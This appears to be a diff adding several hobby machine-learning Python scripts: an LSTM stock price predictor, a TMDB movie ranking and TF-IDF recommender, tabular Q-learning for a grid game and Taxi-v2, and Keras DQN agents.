+        time_now = time.strftime("%Y-%m-%d")
+        self.model_name = f"{time_now}_{stock}-{feature_columns_str}-loss-{self.loss}-{self.cell.__name__}-seq-{self.n_steps}-step-{self.lookup_step}-layers-{self.n_layers}-units-{self.units}"
+
+    def _get_df_name(self):
+        """Returns the updated dataframe name"""
+        time_now = time.strftime("%Y-%m-%d")
+        return f"data/{self.ticker_name}_{time_now}.csv"
+
+    def _df_exists(self):
+        """Check if the updated dataframe exists in disk, returns a tuple contains (filename, file_exists)"""
+        filename = self._get_df_name()
+        return filename, os.path.isfile(filename)
+
+    def _get_model_filename(self):
+        """Returns the relative path of this model name with h5 extension"""
+        return f"results/{self.model_name}.h5"
+
+    def _model_exists(self):
+        """Checks if model already exists in disk, returns the filename,
+        returns None otherwise"""
+        filename = self._get_model_filename()
+        return filename if os.path.isfile(filename) else None
+
+
+
+
+# uncomment below to use CPU instead of GPU
+# import os
+# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+# import tensorflow as tf
+
+# config = tf.ConfigProto(intra_op_parallelism_threads=4,
+#                         inter_op_parallelism_threads=4, 
+#                         allow_soft_placement=True,
+#                         device_count = {'CPU' : 1,
+#                                         'GPU' : 0}
+#                        )
+
+from tensorflow.keras.layers import GRU, LSTM
+from price_prediction import PricePrediction
+
+ticker = "AAPL"
+
+p = PricePrediction(ticker, feature_columns=['adjclose', 'volume', 'open', 'high', 'low'],
+                    epochs=700, cell=LSTM, optimizer="rmsprop", n_layers=3, units=256, 
+                    loss="mse", shuffle=True, dropout=0.4)
+p.train(True)
+print(f"The next predicted price for {ticker} is {p.predict()}")
+buy_sell = p.predict(classify=True)
+print(f"you should {'sell' if buy_sell == 0 else 'buy'}.")
+
+print("Mean Absolute Error:", p.get_MAE())
+print("Mean Squared Error:", p.get_MSE())
+print(f"Accuracy: {p.get_accuracy()*100:.3f}%")
+
+p.plot_test_set()
+
+
+
+
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import LSTM, Dense, Dropout
+from sklearn import preprocessing
+from yahoo_fin import stock_info as si
+from collections import deque
+
+import pandas as pd
+import numpy as np
+import random
+
+def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3, loss="mean_absolute_error", optimizer="rmsprop"):
+    model = Sequential()
+    for i in range(n_layers):
+        if i == 0:
+            # first layer
+            model.add(cell(units, return_sequences=True, input_shape=(None, input_length)))
+            model.add(Dropout(dropout))
+        elif i == n_layers -1:
+            # last layer
+            model.add(cell(units, return_sequences=False))
+            model.add(Dropout(dropout))
+        else:
+            # middle layers
+            model.add(cell(units, return_sequences=True))
+            model.add(Dropout(dropout))
+    
+    model.add(Dense(1, activation="linear"))
+    model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer)
+        
+    return model
+
+
+def load_data(ticker, n_steps=60, scale=True, split=True, balance=False, shuffle=True,
+                lookup_step=1, test_size=0.15, price_column='Price', feature_columns=['Price'],
+                target_column="future", buy_sell=False):
+    """Loads data from yahoo finance, if the ticker is a pd Dataframe,
+    it'll use it instead"""
+    if isinstance(ticker, str):
+        df = si.get_data(ticker)
+    elif isinstance(ticker, pd.DataFrame):
+        df = ticker
+    else:
+        raise TypeError("ticker can be either a str, or a pd.DataFrame instance")
+
+    result = {}
+
+    result['df'] = df.copy()
+    # make sure that columns passed is in the dataframe
+    for col in feature_columns:
+        assert col in df.columns
+    
+    column_scaler = {}
+    if scale:
+        # scale the data ( from 0 to 1 )
+        for column in feature_columns:
+            scaler = preprocessing.MinMaxScaler()
+            df[column] = scaler.fit_transform(np.expand_dims(df[column].values, axis=1))
+            column_scaler[column] = scaler
+        # df[column] = preprocessing.scale(df[column].values)
+
+    # add column scaler to the result
+    result['column_scaler'] = column_scaler
+
+    # add future price column ( shift by -1 )
+    df[target_column] = df[price_column].shift(-lookup_step)
+
+    # get last feature elements ( to add them to the last sequence )
+    # before deleted by df.dropna
+    last_feature_element = np.array(df[feature_columns].tail(1))
+
+    # clean NaN entries
+    df.dropna(inplace=True)
+
+    if buy_sell:
+        # convert target column to 0 (for sell -down- ) and to 1 ( for buy -up-)
+        df[target_column] = list(map(classify, df[price_column], df[target_column]))
+
+    seq_data = [] # all sequences here
+    # sequences are made with deque, which keeps the maximum length by popping out older values as new ones come in
+    sequences = deque(maxlen=n_steps)
+
+    for entry, target in zip(df[feature_columns].values, df[target_column].values):
+        sequences.append(entry)
+        if len(sequences) == n_steps:
+            seq_data.append([np.array(sequences), target])
+
+    # get the last sequence for future predictions
+    last_sequence = np.array(sequences)
+    # shift the sequence, one element is missing ( deleted by dropna )
+    last_sequence = shift(last_sequence, -1)
+    # fill the last element
+    last_sequence[-1] = last_feature_element
+
+    # add last sequence to results
+    result['last_sequence'] = last_sequence
+
+    if buy_sell and balance:
+        buys, sells = [], []
+        for seq, target in seq_data:
+            if target == 0:
+                sells.append([seq, target])
+            else:
+                buys.append([seq, target])
+
+        # balancing the dataset
+        
+        lower_length = min(len(buys), len(sells))
+
+        buys = buys[:lower_length]
+        sells = sells[:lower_length]
+
+        seq_data = buys + sells
+
+    if shuffle:
+        unshuffled_seq_data = seq_data.copy()
+        # shuffle data
+        random.shuffle(seq_data)
+
+    X, y = [], []
+    for seq, target in seq_data:
+        X.append(seq)
+        y.append(target)
+
+    X = np.array(X)
+    y = np.array(y)
+
+    if shuffle:
+        unshuffled_X, unshuffled_y = [], []
+        for seq, target in unshuffled_seq_data:
+            unshuffled_X.append(seq)
+            unshuffled_y.append(target)
+        
+        unshuffled_X = np.array(unshuffled_X)
+        unshuffled_y = np.array(unshuffled_y)
+
+        unshuffled_X = unshuffled_X.reshape((unshuffled_X.shape[0], unshuffled_X.shape[2], unshuffled_X.shape[1]))
+
+    X = X.reshape((X.shape[0], X.shape[2], X.shape[1]))
+
+    if not split:
+        # return original_df, X, y, column_scaler, last_sequence
+        result['X'] = X
+        result['y'] = y
+        return result
+    else:
+        # split dataset into training and testing
+        n_samples = X.shape[0]
+        train_samples = int(n_samples * (1 - test_size))
+        result['X_train'] = X[:train_samples]
+        result['X_test'] = X[train_samples:]
+        result['y_train'] = y[:train_samples]
+        result['y_test'] = y[train_samples:]
+        if shuffle:
+            result['unshuffled_X_test'] = unshuffled_X[train_samples:]
+            result['unshuffled_y_test'] = unshuffled_y[train_samples:]
+        return result
+
+# from sentdex
+def classify(current, future):
+    if float(future) > float(current):  # if the future price is higher than the current, that's a buy, or a 1
+        return 1
+    else:  # otherwise... it's a 0!
+        return 0
+
+
+def shift(arr, num, fill_value=np.nan):
+    result = np.empty_like(arr)
+    if num > 0:
+        result[:num] = fill_value
+        result[num:] = arr[:-num]
+    elif num < 0:
+        result[num:] = fill_value
+        result[:num] = arr[-num:]
+    else:
+        result = arr
+    return result
+
+
+
+
+import pandas as pd
+import numpy as np
+import matplotlib.pyplot as plt
+import seaborn as sns
+from sklearn.feature_extraction.text import TfidfVectorizer
+
+movies_path = r"E:\datasets\recommender_systems\tmdb_5000_movies.csv"
+credits_path = r"E:\datasets\recommender_systems\tmdb_5000_credits.csv"
+
+credits = pd.read_csv(credits_path)
+movies  = pd.read_csv(movies_path)
+
+# rename movie_id to id to merge dataframes later
+credits = credits.rename(index=str, columns={'movie_id': 'id'})
+
+# join on movie id column
+movies = movies.merge(credits, on="id")
+
+# drop useless columns
+movies = movies.drop(columns=['homepage', 'title_x', 'title_y', 'status', 'production_countries'])
+
+# number of votes of the movie
+V = movies['vote_count']
+# rating average of the movie from 0 to 10
+R = movies['vote_average']
+# the mean vote across the whole report
+C = movies['vote_average'].mean()
+# minimum votes required to be listed in the top 250
+m = movies['vote_count'].quantile(0.7)
+
+movies['weighted_average'] = (V/(V+m) * R) + (m/(m+V) * C)
+
+# ranked movies
+
+wavg = movies.sort_values('weighted_average', ascending=False)
+
+plt.figure(figsize=(16,6))
+
+ax = sns.barplot(x=wavg['weighted_average'].head(10), y=wavg['original_title'].head(10), data=wavg, palette='deep')
+
+plt.xlim(6.75, 8.35)
+plt.title('"Best" Movies by TMDB Votes', weight='bold')
+plt.xlabel('Weighted Average Score', weight='bold')
+plt.ylabel('Movie Title', weight='bold')
+
+plt.savefig('best_movies.png')
+
+popular = movies.sort_values('popularity', ascending=False)
+
+plt.figure(figsize=(16,6))
+
+ax = sns.barplot(x=popular['popularity'].head(10), y=popular['original_title'].head(10), data=popular, palette='deep')
+
+plt.title('"Most Popular" Movies by TMDB Votes', weight='bold')
+plt.xlabel('Popularity Score', weight='bold')
+plt.ylabel('Movie Title', weight='bold')
+
+plt.savefig('popular_movies.png')
+
+############ Content-Based ############
+# filling NaNs with empty string
+movies['overview'] = movies['overview'].fillna('')
+
+tfv = TfidfVectorizer(min_df=3,  max_features=None, 
+            strip_accents='unicode', analyzer='word',token_pattern=r'\w{1,}',
+            ngram_range=(1, 3), use_idf=1,smooth_idf=1,sublinear_tf=1,
+            stop_words = 'english')
+
+tfv_matrix = tfv.fit_transform(movies['overview'])
+print(tfv_matrix.shape)
+print(tfv_matrix)
+
+
+
+
+import numpy as np
+from PIL import Image
+import cv2 # showing the env
+import matplotlib.pyplot as plt
+import pickle
+from matplotlib import style
+import time
+import os
+from collections.abc import Iterable
+
+style.use("ggplot")
+
+GRID_SIZE = 10
+
+# how many episodes 
+EPISODES = 1_000
+# how many steps in the env
+STEPS = 200
+
+# Rewards for differents events
+MOVE_REWARD = -1
+ENEMY_REWARD = -300
+FOOD_REWARD = 30
+
+epsilon = 0 # for randomness, it'll decay over time by EPSILON_DECAY
+EPSILON_DECAY = 0.999993 # every episode, epsilon *= EPSILON_DECAY
+
+SHOW_EVERY = 1
+
+q_table = f"qtable-grid-{GRID_SIZE}-steps-{STEPS}.npy" # put here pretrained model ( if exists )
+
+LEARNING_RATE = 0.1
+DISCOUNT = 0.95
+
+PLAYER_CODE = 1
+FOOD_CODE = 2
+ENEMY_CODE = 3
+
+# blob dict, for colors
+COLORS = {
+    PLAYER_CODE: (255, 120, 0), # blueish color
+    FOOD_CODE:   (0, 255, 0), # green
+    ENEMY_CODE:  (0, 0, 255), # red
+}
+
+
+ACTIONS = {
+    0: (0, 1),
+    1: (-1, 0),
+    2: (0, -1),
+    3: (1, 0)
+}
+
+N_ENEMIES = 2
+
+def get_observation(cords):
+    obs = []
+    for item1 in cords:
+        for item2 in item1:
+            obs.append(item2+GRID_SIZE-1)
+    return tuple(obs)
+
+
+class Blob:
+    def __init__(self, name=None):
+        self.x = np.random.randint(0, GRID_SIZE)
+        self.y = np.random.randint(0, GRID_SIZE)
+        self.name = name if name else "Blob"
+
+    def __sub__(self, other):
+        return (self.x - other.x, self.y - other.y)
+
+    def __str__(self):
+        return f"<{self.name.capitalize()} x={self.x}, y={self.y}>"
+
+    def move(self, x=None, y=None):
+        # if x is None, move randomly
+        if x is None:
+            self.x += np.random.randint(-1, 2)
+        else:
+            self.x += x
+        
+        # if y is None, move randomly
+        if y is None:
+            self.y += np.random.randint(-1, 2)
+        else:
+            self.y += y
+
+        # out of bound fix
+        if self.x < 0:
+            # self.x = GRID_SIZE-1
+            self.x = 0
+        elif self.x > GRID_SIZE-1:
+            # self.x = 0
+            self.x = GRID_SIZE-1
+        
+        if self.y < 0:
+            # self.y = GRID_SIZE-1
+            self.y = 0
+        elif self.y > GRID_SIZE-1:
+            # self.y = 0
+            self.y = GRID_SIZE-1
+
+    def take_action(self, choice):
+        # if choice == 0:
+        #     self.move(x=1, y=1)
+        # elif choice == 1:
+        #     self.move(x=-1, y=-1)
+        # elif choice == 2:
+        #     self.move(x=-1, y=1)
+        # elif choice == 3:
+        #     self.move(x=1, y=-1)
+        for code, (move_x, move_y) in ACTIONS.items():
+            if choice == code:
+                self.move(x=move_x, y=move_y)
+        # if choice == 0:
+        #     self.move(x=1, y=0)
+        # elif choice == 1:
+        #     self.move(x=0, y=1)
+        # elif choice == 2:
+        #     self.move(x=-1, y=0)
+        # elif choice == 3:
+        #     self.move(x=0, y=-1)
+
+# construct the q_table if not already trained
+if q_table is None or not os.path.isfile(q_table):
+    # q_table = {}
+    # # for every possible combination of the distance of the player
+    # # to both the food and the enemy
+    # for i in range(-GRID_SIZE+1, GRID_SIZE):
+    #     for ii in range(-GRID_SIZE+1, GRID_SIZE):
+    #         for iii in range(-GRID_SIZE+1, GRID_SIZE):
+    #             for iiii in range(-GRID_SIZE+1, GRID_SIZE):
+    #                 q_table[(i, ii), (iii, iiii)] = np.random.uniform(-5, 0, size=len(ACTIONS))
+    q_table = np.random.uniform(-5, 0, size=[GRID_SIZE*2-1]*(2+2*N_ENEMIES) + [len(ACTIONS)])
+else:
+    # the q table already exists
+    print("Loading Q-table")
+    q_table = np.load(q_table)
+
+
+# this list for tracking rewards
+episode_rewards = []
+
+# game loop
+for episode in range(EPISODES):
+    # initialize our blobs ( squares )
+    player = Blob("Player")
+    food   = Blob("Food")
+    enemy1 = Blob("Enemy1")
+    enemy2 = Blob("Enemy2")
+
+    if episode % SHOW_EVERY == 0:
+        print(f"[{episode:05}] ep: {epsilon:.4f} reward mean: {np.mean(episode_rewards[-SHOW_EVERY:])} alpha={LEARNING_RATE}")
+        show = True
+    else:
+        show = False
+    
+    episode_reward = 0
+    for i in range(STEPS):
+        # get the observation
+        obs = get_observation((player - food, player - enemy1, player - enemy2))
+        # Epsilon-greedy policy
+        if np.random.random() > epsilon:
+            # get the action from the q table
+            action = np.argmax(q_table[obs])
+        else:
+            # random action
+            action = np.random.randint(0, len(ACTIONS))
+        # take the action
+        player.take_action(action)
+
+        #### MAYBE ###
+        #enemy.move()
+        #food.move()
+        ##############
+        food.move()
+        enemy1.move()
+        enemy2.move()
+
+        ### for rewarding
+        if player.x == enemy1.x and player.y == enemy1.y:
+            # if it hit the enemy, punish
+            reward = ENEMY_REWARD
+        elif player.x == enemy2.x and player.y == enemy2.y:
+            # if it hit the enemy, punish
+            reward = ENEMY_REWARD
+        elif player.x == food.x and player.y == food.y:
+            # if it hit the food, reward
+            reward = FOOD_REWARD
+        else:
+            # else, punish it a little for moving
+            reward = MOVE_REWARD
+
+        ### calculate the Q
+        # get the future observation after taking action
+        future_obs = get_observation((player - food, player - enemy1, player - enemy2))
+        # get the max future Q value (SarsaMax algorithm)
+        # SARSA = State0, Action0, Reward0, State1, Action1
+        max_future_q = np.max(q_table[future_obs])
+        # get the current Q
+        current_q = q_table[obs][action]
+        # calculate the new Q
+        if reward == FOOD_REWARD:
+            new_q = FOOD_REWARD
+        else:
+            # value iteration update
+            # https://en.wikipedia.org/wiki/Q-learning
+            # Calculate the Temporal-Difference target
+            td_target = reward + DISCOUNT * max_future_q
+            # Temporal-Difference
+            new_q = (1 - LEARNING_RATE) * current_q + LEARNING_RATE * td_target
+
+        # update the q
+        q_table[obs][action] = new_q
+
+
+        if show:
+            env = np.zeros((GRID_SIZE, GRID_SIZE, 3), dtype=np.uint8)
+            # set food blob to green
+            env[food.x][food.y] = COLORS[FOOD_CODE]
+            # set the enemy blob to red
+            env[enemy1.x][enemy1.y] = COLORS[ENEMY_CODE]
+            env[enemy2.x][enemy2.y] = COLORS[ENEMY_CODE]
+            # set the player blob to blueish
+            env[player.x][player.y] = COLORS[PLAYER_CODE]
+            # get the image
+            image = Image.fromarray(env, 'RGB')
+            image = image.resize((600, 600))
+            # show the image
+            cv2.imshow("image", np.array(image))
+            if reward == FOOD_REWARD or reward == ENEMY_REWARD:
+                if cv2.waitKey(500) == ord('q'):
+                    break
+            else:
+                if cv2.waitKey(100) == ord('q'):
+                    break
+        
+        episode_reward += reward
+        if reward == FOOD_REWARD or reward == ENEMY_REWARD:
+            break
+        
+    episode_rewards.append(episode_reward)
+    # decay a little randomness in each episode
+    epsilon *= EPSILON_DECAY
+    
+
+
+# with open(f"qtable-{int(time.time())}.pickle", "wb") as f:
+#     pickle.dump(q_table, f)
+np.save(f"qtable-grid-{GRID_SIZE}-steps-{STEPS}", q_table)
+
+moving_avg = np.convolve(episode_rewards, np.ones((SHOW_EVERY,))/SHOW_EVERY, mode='valid')
+plt.plot([i for i in range(len(moving_avg))], moving_avg)
+plt.ylabel(f"Avg Reward every {SHOW_EVERY}")
+plt.xlabel("Episode")
+plt.show()
+
+
+
+
+import numpy as np
+import gym
+import random
+import matplotlib.pyplot as plt
+import os
+import time
+
+env = gym.make("Taxi-v2").env
+
+# init the Q-Table
+# (500x6) matrix (n_states x n_actions)
+q_table = np.zeros((env.observation_space.n, env.action_space.n))
+
+# Hyper Parameters
+# alpha
+LEARNING_RATE = 0.1
+# gamma
+DISCOUNT_RATE = 0.9
+EPSILON = 0.9
+EPSILON_DECAY = 0.99993
+
+EPISODES = 100_000
+SHOW_EVERY = 1_000
+
+# for plotting metrics
+all_epochs = []
+all_penalties = []
+all_rewards = []
+
+for i in range(EPISODES):
+    
+    # reset the env
+    state = env.reset()
+
+    epochs, penalties, rewards = 0, 0, []
+    done = False
+
+    while not done:
+        if random.random() < EPSILON:
+            # exploration
+            action = env.action_space.sample()
+        else:
+            # exploitation
+            action = np.argmax(q_table[state])
+
+        next_state, reward, done, info = env.step(action)
+
+        old_q = q_table[state, action]
+        future_q = np.max(q_table[next_state])
+
+        # calculate the new Q ( Q-Learning equation, i.e SARSAMAX )
+        new_q = (1 - LEARNING_RATE) * old_q + LEARNING_RATE * ( reward + DISCOUNT_RATE * future_q)
+        # update the new Q
+        q_table[state, action] = new_q
+
+        if reward == -10:
+            penalties += 1
+        
+        state = next_state
+        epochs += 1
+        rewards.append(reward)
+
+    
+
+    if i % SHOW_EVERY == 0:
+        print(f"[{i}] avg reward:{np.average(all_rewards):.4f} eps:{EPSILON:.4f}")
+        # env.render()
+
+    all_epochs.append(epochs)
+    all_penalties.append(penalties)
+    all_rewards.append(np.average(rewards))
+
+    EPSILON *= EPSILON_DECAY
+
+# env.render()
+# plt.plot(list(range(len(all_rewards))), all_rewards)
+# plt.show()
+
+print("Playing in 5 seconds...")
+time.sleep(5)
+os.system("cls") if "nt" in os.name else os.system("clear")
+# render
+
+state = env.reset()
+done = False
+while not done:
+    action = np.argmax(q_table[state])
+    state, reward, done, info = env.step(action)
+    env.render()
+    time.sleep(0.2)
+    os.system("cls") if "nt" in os.name else os.system("clear")
+    
+env.render()
+
+
+
+
+import cv2
+from PIL import Image
+
+import os
+# to use CPU uncomment below code
+# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+# import tensorflow as tf
+
+# config = tf.ConfigProto(intra_op_parallelism_threads=5,
+#                         inter_op_parallelism_threads=5, 
+#                         allow_soft_placement=True,
+#                         device_count = {'CPU' : 1,
+#                                         'GPU' : 0}
+#                        )
+import random
+import gym
+import numpy as np
+import matplotlib.pyplot as plt
+from collections import deque
+from keras.models import Sequential
+from keras.layers import Dense, Conv2D, MaxPooling2D, Dropout, Activation, Flatten
+from keras.optimizers import Adam
+
+
+EPISODES = 5_000
+REPLAY_MEMORY_MAX = 20_000
+MIN_REPLAY_MEMORY = 1_000
+
+SHOW_EVERY = 50
+RENDER_EVERY = 100
+LEARN_EVERY = 50
+
+GRID_SIZE = 20
+ACTION_SIZE = 9
+
+
+class Blob:
+    def __init__(self, size):
+        self.size = size
+        self.x = np.random.randint(0, size)
+        self.y = np.random.randint(0, size)
+
+    def __str__(self):
+        return f"Blob ({self.x}, {self.y})"
+
+    def __sub__(self, other):
+        return (self.x-other.x, self.y-other.y)
+
+    def __eq__(self, other):
+        return self.x == other.x and self.y == other.y
+
+    def action(self, choice):
+        '''
+        Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8)
+        '''
+        if choice == 0:
+            self.move(x=1, y=1)
+        elif choice == 1:
+            self.move(x=-1, y=-1)
+        elif choice == 2:
+            self.move(x=-1, y=1)
+        elif choice == 3:
+            self.move(x=1, y=-1)
+
+        elif choice == 4:
+            self.move(x=1, y=0)
+        elif choice == 5:
+            self.move(x=-1, y=0)
+
+        elif choice == 6:
+            self.move(x=0, y=1)
+        elif choice == 7:
+            self.move(x=0, y=-1)
+
+        elif choice == 8:
+            self.move(x=0, y=0)
+
+    def move(self, x=False, y=False):
+
+        # If no value for x, move randomly
+        if not x:
+            self.x += np.random.randint(-1, 2)
+        else:
+            self.x += x
+
+        # If no value for y, move randomly
+        if not y:
+            self.y += np.random.randint(-1, 2)
+        else:
+            self.y += y
+
+        # If we are out of bounds, fix!
+        if self.x < 0:
+            self.x = 0
+        elif self.x > self.size-1:
+            self.x = self.size-1
+        if self.y < 0:
+            self.y = 0
+        elif self.y > self.size-1:
+            self.y = self.size-1
+
+
+class BlobEnv:
+    RETURN_IMAGES = True
+    MOVE_PENALTY = 1
+    ENEMY_PENALTY = 300
+    FOOD_REWARD = 25
+    
+    ACTION_SPACE_SIZE = 9
+    PLAYER_N = 1  # player key in dict
+    FOOD_N = 2  # food key in dict
+    ENEMY_N = 3  # enemy key in dict
+    # the dict! (colors)
+    d = {1: (255, 175, 0),
+         2: (0, 255, 0),
+         3: (0, 0, 255)}
+
+    def __init__(self, size):
+        self.SIZE = size
+        self.OBSERVATION_SPACE_VALUES = (self.SIZE, self.SIZE, 3)  # 4
+
+    def reset(self):
+        self.player = Blob(self.SIZE)
+        self.food = Blob(self.SIZE)
+        while self.food == self.player:
+            self.food = Blob(self.SIZE)
+        self.enemy = Blob(self.SIZE)
+        while self.enemy == self.player or self.enemy == self.food:
+            self.enemy = Blob(self.SIZE)
+
+        self.episode_step = 0
+
+        if self.RETURN_IMAGES:
+            observation = np.array(self.get_image())
+        else:
+            observation = (self.player-self.food) + (self.player-self.enemy)
+        return observation
+
+    def step(self, action):
+        self.episode_step += 1
+        self.player.action(action)
+
+        #### MAYBE ###
+        #enemy.move()
+        #food.move()
+        ##############
+
+        if self.RETURN_IMAGES:
+            new_observation = np.array(self.get_image())
+        else:
+            new_observation = (self.player-self.food) + (self.player-self.enemy)
+
+        if self.player == self.enemy:
+            reward = -self.ENEMY_PENALTY
+            done = True
+        elif self.player == self.food:
+            reward = self.FOOD_REWARD
+            done = True
+        else:
+            reward = -self.MOVE_PENALTY
+            if self.episode_step < 200:
+                done = False
+            else:
+                done = True
+
+        return new_observation, reward, done
+
+    def render(self):
+        img = self.get_image()
+        img = img.resize((300, 300))  # resizing so we can see our agent in all its glory.
+        cv2.imshow("image", np.array(img))  # show it!
+        cv2.waitKey(1)
+
+    # FOR CNN #
+    def get_image(self):
+        env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8)  # starts an rbg of our size
+        env[self.food.x][self.food.y] = self.d[self.FOOD_N]  # sets the food location tile to green color
+        env[self.enemy.x][self.enemy.y] = self.d[self.ENEMY_N]  # sets the enemy location to red
+        env[self.player.x][self.player.y] = self.d[self.PLAYER_N]  # sets the player tile to blue
+        img = Image.fromarray(env, 'RGB')  # reading to rgb. Apparently. Even tho color definitions are bgr. ???
+        return img
+
+
+class DQNAgent:
+    def __init__(self, state_size, action_size):
+        self.state_size = state_size
+        self.action_size = action_size
+        self.memory = deque(maxlen=REPLAY_MEMORY_MAX)
+        # discount rate
+        self.gamma = 0.95
+        # exploration rate
+        self.epsilon = 1.0
+        self.epsilon_min = 0.01
+        self.epsilon_decay = 0.9997
+        self.learning_rate = 0.001
+        # models to be built
+        # Dual
+        self.model = self.build_model()
+        self.target_model = self.build_model()
+        self.update_target_model()
+
+    def build_model(self):
+        """Builds the DQN Model"""
+        # Neural network for Deep-Q Learning Model
+        model = Sequential()
+        model.add(Conv2D(256, (3, 3), input_shape=self.state_size))
+        model.add(Activation("relu"))
+        model.add(MaxPooling2D(pool_size=(2, 2)))
+        model.add(Dropout(0.2))
+
+        model.add(Conv2D(256, (3, 3)))
+        model.add(Activation("relu"))
+        model.add(MaxPooling2D(pool_size=(2, 2)))
+        model.add(Dropout(0.2))
+
+        model.add(Flatten())  # this converts our 3D feature maps to 1D feature vectors
+        model.add(Dense(32))
+        # output layer
+        model.add(Dense(self.action_size, activation="linear"))
+        model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate))
+        return model
+
+    def update_target_model(self):
+        """Copy weights from self.model to self.target_model"""
+        self.target_model.set_weights(self.model.get_weights())
+    
+    def remember(self, state, action, reward, next_state, done):
+        """Adds a sample to the memory"""
+        # for images, expand dimension, comment if you are not using images as states
+        state = state / 255
+        next_state = next_state / 255
+        state = np.expand_dims(state, axis=0)
+        next_state = np.expand_dims(next_state, axis=0)
+        self.memory.append((state, action, reward, next_state, done))
+
+    def act(self, state):
+        """Takes action using Epsilon-Greedy Policy"""
+        if np.random.random() <= self.epsilon:
+            return random.randint(0, self.action_size-1)
+        else:
+            state = state / 255
+            state = np.expand_dims(state, axis=0)
+            act_values = self.model.predict(state)
+            # print("act_values:", act_values.shape)
+            return np.argmax(act_values[0])
+
+    def replay(self, batch_size):
+        """Train on a replay memory with a batch_size of samples"""
+        if len(self.memory) < MIN_REPLAY_MEMORY:
+            return
+        minibatch = random.sample(self.memory, batch_size)
+        for state, action, reward, next_state, done in minibatch:
+            target = reward
+            if not done:
+                target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) )
+            target_f = self.model.predict(state)
+            target_f[0][action] = target
+            self.model.fit(state, target_f, epochs=1, verbose=0, batch_size=1)
+        # decay epsilon if possible
+        self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min)
+
+    def load(self, name):
+        self.model.load_weights(name)
+        self.target_model.load_weights(name)
+
+    def save(self, name):
+        self.model.save_weights(name)
+        self.target_model.save_weights(name)
+
+
+if __name__ == "__main__":
+    batch_size = 64
+    env = BlobEnv(GRID_SIZE)
+    agent = DQNAgent(env.OBSERVATION_SPACE_VALUES, ACTION_SIZE)
+    ep_rewards = deque([-200], maxlen=SHOW_EVERY)
+    avg_rewards = []
+    min_rewards = []
+    max_rewards = []
+    for episode in range(1, EPISODES+1):
+        # restarting episode => reset episode reward and step number
+        episode_reward = 0
+        step = 1
+
+        # reset env and get init state
+        current_state = env.reset()
+
+        done = False
+        while True:
+            # take action 
+            action = agent.act(current_state)
+            next_state, reward, done = env.step(action)
+
+            episode_reward += reward
+
+            if episode % RENDER_EVERY == 0:
+                env.render()
+            
+            # add transition to agent's memory
+            agent.remember(current_state, action, reward, next_state, done)
+            if step % LEARN_EVERY == 0:
+                agent.replay(batch_size=batch_size)
+            current_state = next_state
+            step += 1
+
+            if done:
+                agent.update_target_model()
+                break
+        
+        ep_rewards.append(episode_reward)
+        avg_reward = np.mean(ep_rewards)
+        min_reward = min(ep_rewards)
+        max_reward = max(ep_rewards)
+        
+        avg_rewards.append(avg_reward)
+        min_rewards.append(min_reward)
+        max_rewards.append(max_reward)
+        print(f"[{episode}] avg:{avg_reward:.2f} min:{min_reward} max:{max_reward} eps:{agent.epsilon:.4f}")
+        # if episode % SHOW_EVERY == 0:
+            # print(f"[{episode}] avg: {avg_reward} min: {min_reward} max: {max_reward} eps: {agent.epsilon:.4f}")
+    
+    episodes = list(range(EPISODES))
+    plt.plot(episodes, avg_rewards, c='b')
+    plt.plot(episodes, min_rewards, c='r')
+    plt.plot(episodes, max_rewards, c='g')
+    plt.show()
+    agent.save("blob_v1.h5")
+
+
+
+
+import os
+# to use CPU uncomment below code
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+import random
+import gym
+import numpy as np
+import matplotlib.pyplot as plt
+from collections import deque
+from keras.models import Sequential
+from keras.layers import Dense
+from keras.optimizers import Adam
+
+
+EPISODES = 5_000
+REPLAY_MEMORY_MAX = 2_000
+
+SHOW_EVERY = 500
+RENDER_EVERY = 1_000
+
+class DQNAgent:
+    def __init__(self, state_size, action_size):
+        self.state_size = state_size
+        self.action_size = action_size
+        self.memory = deque(maxlen=REPLAY_MEMORY_MAX)
+        # discount rate
+        self.gamma = 0.95
+        # exploration rate
+        self.epsilon = 1.0
+        self.epsilon_min = 0.01
+        self.epsilon_decay = 0.9997
+        self.learning_rate = 0.001
+        # models to be built
+        # Dual
+        self.model = self.build_model()
+        self.target_model = self.build_model()
+        self.update_target_model()
+
+    def build_model(self):
+        """Builds the DQN Model"""
+        # Neural network for Deep-Q Learning Model
+        model = Sequential()
+        model.add(Dense(32, input_dim=self.state_size, activation="relu"))
+        model.add(Dense(32, activation="relu"))
+        # output layer
+        model.add(Dense(self.action_size, activation="linear"))
+        model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate))
+        return model
+
+    def update_target_model(self):
+        """Copy weights from self.model to self.target_model"""
+        self.target_model.set_weights(self.model.get_weights())
+    
+    def remember(self, state, action, reward, next_state, done):
+        """Adds a sample to the memory"""
+        self.memory.append((state, action, reward, next_state, done))
+
+    def act(self, state):
+        """Takes action using Epsilon-Greedy Policy"""
+        if np.random.random() <= self.epsilon:
+            return random.randint(0, self.action_size-1)
+        else:
+            act_values = self.model.predict(state)
+            # print("act_values:", act_values.shape)
+            return np.argmax(act_values[0])
+
+    def replay(self, batch_size):
+        """Train on a replay memory with a batch_size of samples"""
+        minibatch = random.sample(self.memory, batch_size)
+        for state, action, reward, next_state, done in minibatch:
+            target = reward
+            if not done:
+                target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) )
+            target_f = self.model.predict(state)
+            target_f[0][action] = target
+            self.model.fit(state, target_f, epochs=1, verbose=0)
+        # decay epsilon if possible
+        self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min)
+
